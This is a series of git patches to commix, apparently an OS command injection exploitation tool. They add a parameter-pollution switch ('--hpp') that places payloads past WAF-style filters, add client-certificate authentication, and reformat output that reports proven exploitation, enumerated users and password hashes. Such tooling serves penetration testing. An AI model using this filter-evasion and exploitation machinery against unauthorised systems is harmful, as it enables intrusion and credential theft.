src/core/controller/checks.py | 66 +++++++++++++++++++++++++++++++++-- src/core/parse/cmdline.py | 6 ++++ src/core/requests/requests.py | 4 +-- src/utils/settings.py | 20 +++++++++-- 5 files changed, 90 insertions(+), 7 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index aafc6a91fe..689a6cedd9 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New switch `--hpp` for sending a tested parameter twice, with the payload in the occurrence the target reads and a value a filter will accept in the one it inspects. * Added: New option `--openapi` for deriving targets from an OpenAPI (Swagger) description, with `--openapi-base` for a specification that names no host of its own and `--openapi-tags` for taking only part of a large API. * Added: New boolean-based blind injection technique, reading its answer off the page rather than off a delay, with `--string`, `--not-string`, `--regexp` and `--code` for saying what a true answer looks like. * Added: New switches `--mine-params` and `--mine-endpoints` for finding the parameters a target reads but names nowhere, and the endpoints only its own scripts name. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 7c0055d86e..ac15411b79 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -190,7 +190,66 @@ def process_non_custom(): """ Process the defined injectable value """ -def process_injectable_value(payload, data): +""" +The same parameter sent twice, with the payload where the application will read it. + +A filter and the application behind it do not have to agree about which of two same-named parameters +counts. Where they disagree, a value that passes inspection can be sent in the occurrence the filter +reads, and the payload in the one the application reads. + +Which that is belongs to the platform, so the banner decides it. A platform that joins the two rather +than choosing between them is told about instead of worked around: a joined value arrives with the +separator inside it, and there is no comment in a shell that can swallow one the way there is in a +query, so nothing sent this way would run. +""" +def polluted_parameter(target, payload): + if not menu.options.hpp or not payload: + return target + if settings.IS_JSON or settings.IS_XML: + if not settings.HPP_POSITION_SAID: + settings.HPP_POSITION_SAID = True + warn_msg = "Parameter pollution applies to ordinary GET and POST parameters, not to a structured body." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return target + # The parameter the payload landed in, named by what sits in front of it. + at = target.rfind(payload) + if at < 1: + return target + named = re.search(r"([^&?=\s]+)=$", target[:at]) + if not named: + return target + banner = (settings.SERVER_BANNER or "").lower() + if any(_ in banner for _ in settings.HPP_CONCATENATES): + if not settings.HPP_POSITION_SAID: + settings.HPP_POSITION_SAID = True + warn_msg = "This target joins same-named parameters rather than choosing between them, which leaves " + warn_msg += "the separator inside the command - '--hpp' cannot help here." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return target + first_wins = any(_ in banner for _ in settings.HPP_FIRST_WINS) + name = named.group(1) + original = settings.TESTABLE_VALUE if settings.TESTABLE_VALUE.strip() else "" + if not settings.HPP_POSITION_SAID: + settings.HPP_POSITION_SAID = True + info_msg = "Sending '" + name + "' twice, with the payload " + info_msg += "first" if first_wins else "last" + info_msg += " - which is the one this target reads." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if first_wins: + polluted = payload + "&" + name + "=" + original + else: + polluted = original + "&" + name + "=" + payload + return target[:at] + polluted + target[at + len(payload):] + +""" +Splice the payload into what carries it. + +'pollute' is the caller's to say, because only the caller knows what it is handing over. A query +string and a form body separate their parameters with '&' and can carry the same name twice; a +cookie separates with ';', and a second '&name=' there is not another cookie but more of the value +of the first - so a carrier that was not asked to be polluted is left as it is. +""" +def process_injectable_value(payload, data, pollute=False): if len(settings.TESTABLE_VALUE) == 0: settings.TESTABLE_VALUE = settings.SINGLE_WHITESPACE # Regenerate the tag if it overlaps the testable value. @@ -199,9 +258,10 @@ def process_injectable_value(payload, data): random_tag = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10)) masked = data.replace(settings.TESTABLE_VALUE, random_tag) if settings.TESTABLE_VALUE in masked.replace(settings.INJECT_TAG, ""): - return masked.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).replace(random_tag, settings.TESTABLE_VALUE) + spliced = masked.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).replace(random_tag, settings.TESTABLE_VALUE) else: - return masked.replace(random_tag + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).replace(random_tag, settings.TESTABLE_VALUE) + spliced = masked.replace(random_tag + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).replace(random_tag, settings.TESTABLE_VALUE) + return polluted_parameter(spliced, payload) if pollute else spliced """ Remove all injection tags from provided data diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index c58a6d6edb..72853c7212 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -364,6 +364,12 @@ def banner(): dest="headers", help="Extra headers (e.g. 'Accept-Language: fr\\nETag: 123').") +request.add_option("--hpp", + action="store_true", + dest="hpp", + default=False, + help="Use HTTP parameter pollution method.") + request.add_option("--proxy", action="store", dest="proxy", diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 3f3b9871e6..f336873faa 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -853,7 +853,7 @@ def encoded_for_url(value): if settings.INJECT_TAG in url: vuln_parameter = parameters.vuln_GET_param(url) - target = checks.process_injectable_value(encoded_for_url(payload), url) + target = checks.process_injectable_value(encoded_for_url(payload), url, pollute=True) if settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: @@ -880,7 +880,7 @@ def encoded_for_url(value): # Likewise here: nothing to decode, and the characters XML cannot carry at all are dropped. data = checks.restore_xml_layout(checks.process_injectable_value(checks.xml_encode_payload(checks.strip_xml_forbidden(payload)), menu.options.data)) else: - data = checks.process_injectable_value(encoded_for_url(payload), menu.options.data) + data = checks.process_injectable_value(encoded_for_url(payload), menu.options.data, pollute=True) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) headers.do_check(request) diff --git a/src/utils/settings.py b/src/utils/settings.py index 1e34d409bb..133a56a216 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "174" +REVISION = "175" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -2408,6 +2408,22 @@ class END_LINE: # The web server named by the 'Server' header, and the ones that are recognised. SERVER_BANNER = "" + +""" +Which of several same-named parameters an application reads, by the platform serving it. + +Sending a parameter twice is only an evasion where the two are read by different things: a filter +looking at one occurrence, and the application at another. Which one the application takes is the +platform's to decide, so where the banner says what is serving the page, that is what decides where +the payload goes - and where it says nothing, the payload goes last, which is what the most commonly +tested platforms read. +""" +HPP_LAST_WINS = ("php", "nginx", "rails", "ruby", "apache") +HPP_FIRST_WINS = ("jsp", "tomcat", "jetty", "coldfusion", "java") +HPP_CONCATENATES = ("asp", "asp.net", "aspx", "iis") + +# Said once for the run, however many parameters are polluted. +HPP_POSITION_SAID = False # The version that server named for itself, where it named one. SERVER_VERSION = "" # The distribution a banner spelled out, kept as the banner wrote it rather than as the family it @@ -2543,7 +2559,7 @@ class END_LINE: "SESSION_FILE", "SHOW_LOGS_MSG", "TAMPER_SCRIPTS", "SITEMAP_CHECK", "SKIPPED_OUT_OF_SCOPE", "SKIP_VULNERABLE_HOST", "RESULTS_FILE_FORMAT", "RESULTS_FILE_STARTED", "TEST_FILTER", "TEST_SKIP", "PREPROCESS_FUNCTIONS", "POSTPROCESS_FUNCTIONS", - "BOOLEAN_THREADS_SUGGESTED", "REPLAY_NOTICES_SAID", "STDIN_PARSING", "TAMPER_WARNING_SHOWN", "TIME_RELATED_ATTACK_WARNING", "TOTAL_OF_REQUESTS", "EVAL_SUGGESTED", "COMMAND_SUGGESTED", + "BOOLEAN_THREADS_SUGGESTED", "HPP_POSITION_SAID", "REPLAY_NOTICES_SAID", "STDIN_PARSING", "TAMPER_WARNING_SHOWN", "TIME_RELATED_ATTACK_WARNING", "TOTAL_OF_REQUESTS", "EVAL_SUGGESTED", "COMMAND_SUGGESTED", "VALIDATION_RUN", "VISIBLE_CONNECTION_ERRORS", "WARNED_HTTP_ERROR_CODES", # Set by the connection to whichever target is in hand, before this reset can be reached. "HOSTNAME", "SCHEME", "TARGET_NETLOC", "TARGET_URL", From 91728ea6abb2ab17104aea35bc31cef0f356cbb7 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 1 Oct 2026 09:13:16 +0300 Subject: [PATCH 0844/1023] Trivial update --- src/core/controller/checks.py | 16 ++++++++-------- src/utils/logs.py | 4 ++-- 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index ac15411b79..8a69009f67 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -1680,11 +1680,11 @@ def finding_title(separator, whitespace, prefix, suffix): The detail lines of a summary block - shared by the console summary and the log file. """ def finding_summary_lines(technique, injection_type, payload, title=None): - lines = [" " + settings.SUB_CONTENT_SIGN_TYPE + "Technique: " + summary_technique_label(technique), - " " + settings.SUB_CONTENT_SIGN_TYPE + "Type: " + injection_type[0].upper() + injection_type[1:]] + lines = [settings.SUB_CONTENT_SIGN_TYPE + "Technique: " + summary_technique_label(technique), + settings.SUB_CONTENT_SIGN_TYPE + "Type: " + injection_type[0].upper() + injection_type[1:]] if title: - lines.append(" " + settings.SUB_CONTENT_SIGN_TYPE + "Boundary: " + title) - lines.append(" " + settings.SUB_CONTENT_SIGN_TYPE + "Payload: " + payload) + lines.append(settings.SUB_CONTENT_SIGN_TYPE + "Boundary: " + title) + lines.append(settings.SUB_CONTENT_SIGN_TYPE + "Payload: " + payload) return lines """ @@ -4473,7 +4473,7 @@ def print_users(sys_users, filename, newline_first, separator, TAG, cmd, prefix, settings.print_data_to_stdout(info_msg) logs.add_line(filename, info_msg, group="users") for name in sys_users_list: - settings.print_data_to_stdout(" " + settings.SUB_CONTENT_SIGN_TYPE + name) + settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN_TYPE + name) logs.add_line(filename, " * " + name, group="users") logs.report_add_enumeration("users", name) else: @@ -4524,7 +4524,7 @@ def print_users(sys_users, filename, newline_first, separator, TAG, cmd, prefix, if not fields[2].startswith("/"): raise ValueError() parsed_users.append((fields[0], fields[1], fields[2])) - settings.print_data_to_stdout(" " + settings.SUB_CONTENT_SIGN_TYPE + fields[0]) + settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN_TYPE + fields[0]) logs.add_line(filename, " * " + fields[0], group="users") logs.report_add_enumeration("users", fields[0]) except ValueError: @@ -4548,7 +4548,7 @@ def print_users(sys_users, filename, newline_first, separator, TAG, cmd, prefix, for name, uid, homedir in parsed_users: label = classify_uid(uid) note = " (" + label + ", uid=" + uid + ", home directory '" + homedir + "')" if label else " (uid=" + uid + ", home directory '" + homedir + "')" - settings.print_data_to_stdout(" " + settings.SUB_CONTENT_SIGN_TYPE + name + note) + settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN_TYPE + name + note) logs.add_line(filename, " * " + name + note, group="privileges") logs.report_add_enumeration("privileges", {"name": name, "uid": uid, "home_directory": homedir, "type": label}) else: @@ -4597,7 +4597,7 @@ def print_passes(sys_passes, filename, newline_first, interpreter): settings.print_data_to_stdout(info_msg) logs.add_line(filename, info_msg, group="passwords") for username, digest in usable: - settings.print_data_to_stdout(" " + settings.SUB_CONTENT_SIGN_TYPE + username + ":" + digest) + settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN_TYPE + username + ":" + digest) logs.add_line(filename, " * " + username + ":" + digest, group="passwords") logs.report_add_enumeration("passwords", {"username": username, "hash": digest}) else: diff --git a/src/utils/logs.py b/src/utils/logs.py index 12b06b337d..f1745e547d 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -213,9 +213,9 @@ def add_finding(filename, injection_type, technique, http_request_method, vuln_p command = reproduce.curl_command(menu.options.url, http_request_method, vuln_parameter, payload) caveats = reproduce.curl_command_caveats() if command else [] if command: - add_line(filename, settings.strip_ansi_codes(" " + settings.SUB_CONTENT_SIGN_TYPE + "Reproduce: " + command), group="findings") + add_line(filename, settings.strip_ansi_codes(settings.SUB_CONTENT_SIGN_TYPE + "Reproduce: " + command), group="findings") for caveat in caveats: - add_line(filename, settings.strip_ansi_codes(" " + settings.SUB_CONTENT_SIGN_TYPE + "Note: " + caveat[0].upper() + caveat[1:] + "."), group="findings") + add_line(filename, settings.strip_ansi_codes(settings.SUB_CONTENT_SIGN_TYPE + "Note: " + caveat[0].upper() + caveat[1:] + "."), group="findings") results_note(menu.options.url, http_request_method, vuln_parameter, technique, injection_type) if report_active(): finding = { From 8958359fe29619bc39887aa751c1ab09df345b36 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 1 Oct 2026 09:23:34 +0300 Subject: [PATCH 0845/1023] Added new option `--auth-file` for authenticating with a client certificate during the TLS handshake instead of using authentication headers. --- doc/CHANGELOG.md | 3 ++- src/core/options.py | 22 ++++++++++++++++++- src/core/parse/cmdline.py | 6 ++++++ src/core/requests/headers.py | 5 +++-- src/core/requests/pki.py | 41 ++++++++++++++++++++++++++++++++++++ src/utils/settings.py | 13 +++++++++--- 6 files changed, 83 insertions(+), 7 deletions(-) create mode 100644 src/core/requests/pki.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 689a6cedd9..0dc5a1ba84 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,5 +1,6 @@ ## Version 4.2 (TBA) -* Added: New switch `--hpp` for sending a tested parameter twice, with the payload in the occurrence the target reads and a value a filter will accept in the one it inspects. +* Added: New option `--auth-file` for authenticating with a client certificate during the TLS handshake instead of using authentication headers. +* Added: New switch `--hpp` for sending a tested parameter twice, placing the payload in the occurrence read by the target and a filter-accepted value in the one inspected. * Added: New option `--openapi` for deriving targets from an OpenAPI (Swagger) description, with `--openapi-base` for a specification that names no host of its own and `--openapi-tags` for taking only part of a large API. * Added: New boolean-based blind injection technique, reading its answer off the page rather than off a delay, with `--string`, `--not-string`, `--regexp` and `--code` for saying what a true answer looks like. * Added: New switches `--mine-params` and `--mine-endpoints` for finding the parameters a target reads but names nowhere, and the endpoints only its own scripts name. diff --git a/src/core/options.py b/src/core/options.py index f74160c224..f7333f25f9 100644 --- a/src/core/options.py +++ b/src/core/options.py @@ -209,8 +209,28 @@ def validate(): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit(settings.EXIT_FAILURE) + """ + A certificate is the credential, so it is not asked for beside one. + + Given a key file and nothing else, that is what the run authenticates with and the type follows + from it. Named as the type with no file to read, there is nothing to present. + """ + if menu.options.auth_file: + if not os.path.isfile(os.path.expanduser(menu.options.auth_file)): + err_msg = "It seems the '" + menu.options.auth_file + "' file does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + menu.options.auth_file = os.path.expanduser(menu.options.auth_file) + if not menu.options.auth_type: + menu.options.auth_type = settings.AUTH_TYPE.PKI + elif (menu.options.auth_type or "").lower() == settings.AUTH_TYPE.PKI: + err_msg = "The '--auth-type=" + settings.AUTH_TYPE.PKI + "' option requires the '--auth-file' option." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + # Check if defined "--auth-cred" and/or '--auth-type'. - if (menu.options.auth_type and not menu.options.auth_cred) or (menu.options.auth_cred and not menu.options.auth_type): + if not menu.options.auth_file and \ + ((menu.options.auth_type and not menu.options.auth_cred) or (menu.options.auth_cred and not menu.options.auth_type)): err_msg = "You must specify both '--auth-cred' and '--auth-type' options." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit(settings.EXIT_FAILURE) diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 72853c7212..4a67d76910 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -364,6 +364,12 @@ def banner(): dest="headers", help="Extra headers (e.g. 'Accept-Language: fr\\nETag: 123').") +request.add_option("--auth-file", + action="store", + dest="auth_file", + default=None, + help="HTTP authentication PEM cert/private key file.") + request.add_option("--hpp", action="store_true", dest="hpp", diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 6fe500a5c2..5a008720d6 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -432,6 +432,7 @@ def https_open(self, req): digest_handler.add_password(settings.DIGEST_AUTH_REALM, menu.options.url, username, password) extra_handlers.append(digest_handler) + request = encode_non_ascii_url(request) # Also route through the configured proxy/Tor, so this fetch is reusable. @@ -737,8 +738,8 @@ def do_check(request): # Check if defined any HTTP Authentication credentials. # HTTP Authentication: Basic, Digest, Bearer Access Authentication. if menu.options.auth_cred and menu.options.auth_type: - if menu.options.auth_type.lower() not in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST, settings.AUTH_TYPE.BEARER): - err_msg = "HTTP authentication type value must be Basic, Digest or Bearer." + if menu.options.auth_type.lower() not in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST, settings.AUTH_TYPE.BEARER, settings.AUTH_TYPE.PKI): + err_msg = "HTTP authentication type value must be Basic, Digest, Bearer or PKI." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit(settings.EXIT_FAILURE) if menu.options.auth_type.lower() == settings.AUTH_TYPE.BEARER: diff --git a/src/core/requests/pki.py b/src/core/requests/pki.py new file mode 100644 index 0000000000..2e6ea05eab --- /dev/null +++ b/src/core/requests/pki.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.parse import cmdline as menu + +""" +Present the certificate this run identifies itself with, on a context about to be used. + +Some targets do not ask for credentials at all: they ask the client to prove itself while the +connection is being made, and answer nothing to one that cannot. There is no header for that and no +challenge to answer, so it belongs to the context rather than to the request - and to every context +this run builds, because which client is asking is a fact about the run and not about one request. +""" +def apply_client_certificate(context): + if not getattr(menu.options, "auth_file", None): + return context + try: + # The file holds both halves, so it is handed over as both. + context.load_cert_chain(certfile=menu.options.auth_file, keyfile=menu.options.auth_file) + except Exception as err: + if not settings.PKI_FAILURE_SAID: + settings.PKI_FAILURE_SAID = True + err_msg = "Unable to use the certificate in '" + str(menu.options.auth_file) + "' (" + str(err) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + return context + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index 133a56a216..d315db362b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "175" +REVISION = "176" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1202,7 +1202,9 @@ class INJECTION_TECHNIQUE(object): """ def unverified_context(): import ssl - return ssl._create_unverified_context() + context = ssl._create_unverified_context() + from src.core.requests import pki + return pki.apply_client_certificate(context) """ The TLS context for commix's own infrastructure calls, which are verified. @@ -1656,6 +1658,8 @@ class AUTH_TYPE(object): BASIC = "basic" DIGEST = "digest" BEARER = "bearer" + # Proved by a certificate presented while connecting, rather than by anything sent in a header. + PKI = "pki" # Cached digest realm, discovered from the target's WWW-Authenticate challenge. DIGEST_AUTH_REALM = None @@ -2424,6 +2428,9 @@ class END_LINE: # Said once for the run, however many parameters are polluted. HPP_POSITION_SAID = False + +# Said once for the run, however many connections try to present the certificate. +PKI_FAILURE_SAID = False # The version that server named for itself, where it named one. SERVER_VERSION = "" # The distribution a banner spelled out, kept as the banner wrote it rather than as the family it @@ -2559,7 +2566,7 @@ class END_LINE: "SESSION_FILE", "SHOW_LOGS_MSG", "TAMPER_SCRIPTS", "SITEMAP_CHECK", "SKIPPED_OUT_OF_SCOPE", "SKIP_VULNERABLE_HOST", "RESULTS_FILE_FORMAT", "RESULTS_FILE_STARTED", "TEST_FILTER", "TEST_SKIP", "PREPROCESS_FUNCTIONS", "POSTPROCESS_FUNCTIONS", - "BOOLEAN_THREADS_SUGGESTED", "HPP_POSITION_SAID", "REPLAY_NOTICES_SAID", "STDIN_PARSING", "TAMPER_WARNING_SHOWN", "TIME_RELATED_ATTACK_WARNING", "TOTAL_OF_REQUESTS", "EVAL_SUGGESTED", "COMMAND_SUGGESTED", + "BOOLEAN_THREADS_SUGGESTED", "HPP_POSITION_SAID", "PKI_FAILURE_SAID", "REPLAY_NOTICES_SAID", "STDIN_PARSING", "TAMPER_WARNING_SHOWN", "TIME_RELATED_ATTACK_WARNING", "TOTAL_OF_REQUESTS", "EVAL_SUGGESTED", "COMMAND_SUGGESTED", "VALIDATION_RUN", "VISIBLE_CONNECTION_ERRORS", "WARNED_HTTP_ERROR_CODES", # Set by the connection to whichever target is in hand, before this reset can be reached. "HOSTNAME", "SCHEME", "TARGET_NETLOC", "TARGET_URL", From ac288bf6190dbc72c6d88cdf2f2193db1f3e6a32 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 1 Oct 2026 09:24:39 +0300 Subject: [PATCH 0846/1023] Trivial update --- src/core/controller/proof.py | 75 ++++++++++++++++++++---------------- src/utils/settings.py | 2 +- 2 files changed, 42 insertions(+), 35 deletions(-) diff --git a/src/core/controller/proof.py b/src/core/controller/proof.py index e1a91b71c0..480572b0ec 100644 --- a/src/core/controller/proof.py +++ b/src/core/controller/proof.py @@ -18,6 +18,7 @@ import string import time +from src.thirdparty.colorama import Style from src.utils import settings from src.core.parse import cmdline as menu @@ -52,21 +53,22 @@ def _name(technique): from src.core.controller import checks try: name = checks.short_technique_label(technique).strip() - return name[:-len(" technique")] if name.endswith(" technique") else name + name = name[:-len(" technique")] if name.endswith(" technique") else name except Exception: - return str(technique) + name = str(technique) + return name[:1].upper() + name[1:] """ -A field, rendered the way the stored-session summary renders one. +A field, bulleted the same way the injection-point summary bullets one (' * Technique: ...'). """ def _field(label, value): + prefix = settings.SUB_CONTENT_SIGN_TYPE + label + ": " + indent = " " * (len(label) + 6) if isinstance(value, list): if not value: return "" - head = value[0] - rest = ["%s%s" % (" " * 21, _) for _ in value[1:]] - return "\n".join(["%-20s %s" % (label + ":", head)] + rest) - return "%-20s %s" % (label + ":", value) + return "\n".join([prefix + value[0]] + [indent + _ for _ in value[1:]]) + return prefix + str(value) """ What the proof had to get through. On a filtered target this is the part that matters: the evidence @@ -125,8 +127,8 @@ def _challenge(execute_cmd, technique): answer = "".join(str(_) for _ in answer) if answer else "" carried = expected in answer - lines = ["the target must work out %d + %d = %s, drawn at random after the scan started" % (first, second, expected), - "(the product is in no page, cache or reflection - only something that executes could return it)", + lines = ["The target must work out %d + %d = %s, drawn at random after the scan started." % (first, second, expected), + "(the product is in no page, cache or reflection - only something that executes could return it.)", "sent: " + cmd, "answered: " + (answer.strip()[:120] if answer.strip() else "(nothing came back)"), _cost(started, elapsed)] @@ -140,7 +142,7 @@ def _challenge(execute_cmd, technique): """ def _inferential_challenge(boundary, vuln_parameter, http_request_method, technique): if not boundary: - return False, ["no boundary was kept for this point, so nothing could be asked of the target"] + return False, ["No boundary was kept for this point, so nothing could be asked of the target."] separator, prefix, suffix, whitespace, url, timesec = boundary from src.core.controller import execution from src.core.requests import requests as _requests @@ -163,8 +165,15 @@ def _ask(target_value): payload = payloads.condition_check(separator, condition, base, http_request_method) if payload is None: return None, None - exec_time = _requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, - http_request_method, url)[0] + # The executor hands back elapsed time only while this flag is set - detection may have since + # cleared it, and unset it hands back the raw response instead. + previous = settings.TIME_RELATED_ATTACK + settings.TIME_RELATED_ATTACK = True + try: + exec_time = _requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, + http_request_method, url)[0] + finally: + settings.TIME_RELATED_ATTACK = previous return payload, exec_time started = settings.TOTAL_OF_REQUESTS @@ -174,17 +183,17 @@ def _ask(target_value): elapsed = time.time() - began if true_payload is None or false_payload is None: - return False, ["this technique has no conditional-delay payload for the identified target"] + return False, ["This technique has no conditional-delay payload for the identified target."] # The product must be the one that delays, and the product plus one must not - the pair is what # rules out a target that is simply slow. carried = checks.time_related_shell(true_took, base) and not checks.time_related_shell(false_took, base) - lines = ["the target must work out %d + %d and answer whether it is %d, drawn at random after the scan started" + lines = ["The target must work out %d + %d and answer whether it is %d, drawn at random after the scan started." % (first, second, expected), - "(the delay is the answer: held back where the product matches, returned at once where it does not)", + "(the delay is the answer: held back where the product matches, returned at once where it does not.)", "matches: %.2fs" % true_took, "does not: %.2fs" % false_took, - "(one request each, timed the way every other request in the run is)", + "(one request each, timed the way every other request in the run is.)", _cost(started, elapsed)] return carried, lines @@ -195,7 +204,7 @@ def _control_timing(): if not settings.RESPONSE_TIMES: return [] average = sum(settings.RESPONSE_TIMES) / float(len(settings.RESPONSE_TIMES)) - return ["unmodified request: %.3fs on average over %d samples" % (average, len(settings.RESPONSE_TIMES))] + return ["unmodified request: %.3fs on average over %d samples." % (average, len(settings.RESPONSE_TIMES))] """ The control that rules out coincidence: the answer must not already be somewhere the run could have @@ -205,11 +214,11 @@ def _control(expected): lines = [] page = settings.ORIGINAL_PAGE or "" if page: - lines.append("the unmodified page does not contain the answer: " + - ("confirmed" if expected not in page else "NOT confirmed - it is already there")) + lines.append("The unmodified page does not contain the answer. (CONFIRMED)" if expected not in page + else "The answer is already there, in the unmodified page. (NOT CONFIRMED)") if settings.RESPONSE_TIMES: average = sum(settings.RESPONSE_TIMES) / float(len(settings.RESPONSE_TIMES)) - lines.append("unmodified request: %.3fs on average over %d samples" % (average, len(settings.RESPONSE_TIMES))) + lines.append("unmodified request: %.3fs on average over %d samples." % (average, len(settings.RESPONSE_TIMES))) return lines """ @@ -246,7 +255,6 @@ def prove(filename, url): else: carried, expected, challenge = _challenge(execute_cmd, technique) proven += int(carried) - fields.append("") fields.append(_field("Parameter", str(vuln_parameter) + " (" + str(http_request_method) + ")")) fields.append(_field("Technique", _name(technique))) fields.append(_field("Challenge", challenge)) @@ -256,13 +264,13 @@ def prove(filename, url): if carried: through = " through the protection in front of the application" if settings.WAF_ENABLED else "" if expected: - verdict = ["PROVEN - the target executed what was sent and returned the result" + through] + verdict = ["The target executed what was sent and returned the result" + through + ". (PROVEN)"] else: - verdict = ["PROVEN - the target worked out the value and answered it through the delay" + through] + verdict = ["The target worked out the value and answered it through the delay" + through + ". (PROVEN)"] else: - verdict = ["NOT PROVEN - the answer did not come back through this technique"] + verdict = ["The answer did not come back through this technique. (NOT PROVEN)"] if settings.WAF_ENABLED: - verdict.append("a protection is interfering, so the point may be real with its output channel blocked") + verdict.append("A protection is interfering, so the point may be real with its output channel blocked.") verdict.append("=> re-test with '--tamper', then prove again") else: verdict.append("=> treat it as unconfirmed unless a side effect proves otherwise (e.g. '--os-shell')") @@ -270,21 +278,20 @@ def prove(filename, url): total = len(settings.PROOF_EXECUTORS) if proven == total: - header = "commix proved exploitation of the following injection point(s)" + header = "Proved exploitation of the following injection point(s)" elif proven: - header = "commix proved exploitation of " + str(proven) + " of " + str(total) + " reported injection point(s)" + header = "Proved exploitation of " + str(proven) + " of " + str(total) + " reported injection point(s)" else: - header = "commix could NOT prove exploitation of the reported injection point(s)" + header = "Could NOT prove exploitation of the reported injection point(s)" - data = "\n".join(_ for _ in fields if _ != "" or True) - settings.print_data_to_stdout(settings.END_LINE.LF + header + ":" + settings.END_LINE.LF + - "---" + settings.END_LINE.LF + data + settings.END_LINE.LF + - "---" + settings.END_LINE.LF) + data = settings.END_LINE.LF.join(fields) + settings.print_data_to_stdout(Style.BRIGHT + header + ":" + Style.RESET_ALL + + settings.END_LINE.LF + data) try: path = os.path.join(os.path.dirname(filename) or ".", "proof.txt") with open(path, "w") as proof_file: - proof_file.write(header + ":" + settings.END_LINE.LF + "---" + settings.END_LINE.LF + - data + settings.END_LINE.LF + "---" + settings.END_LINE.LF) + proof_file.write(settings.strip_ansi_codes(header + ":" + settings.END_LINE.LF + + data + settings.END_LINE.LF)) info_msg = "Proof of exploitation written to '" + path + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) except OSError as err_msg: diff --git a/src/utils/settings.py b/src/utils/settings.py index d315db362b..8c3d342383 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "176" +REVISION = "177" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 03a0862fe81995b4ba33811b04be1339eca84ded Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 1 Oct 2026 09:35:31 +0300 Subject: [PATCH 0847/1023] Trivial update for https://github.com/commixproject/commix/commit/ac288bf6190dbc72c6d88cdf2f2193db1f3e6a32 --- src/core/controller/checks.py | 70 +++++++++++++++++++---------------- 1 file changed, 38 insertions(+), 32 deletions(-) diff 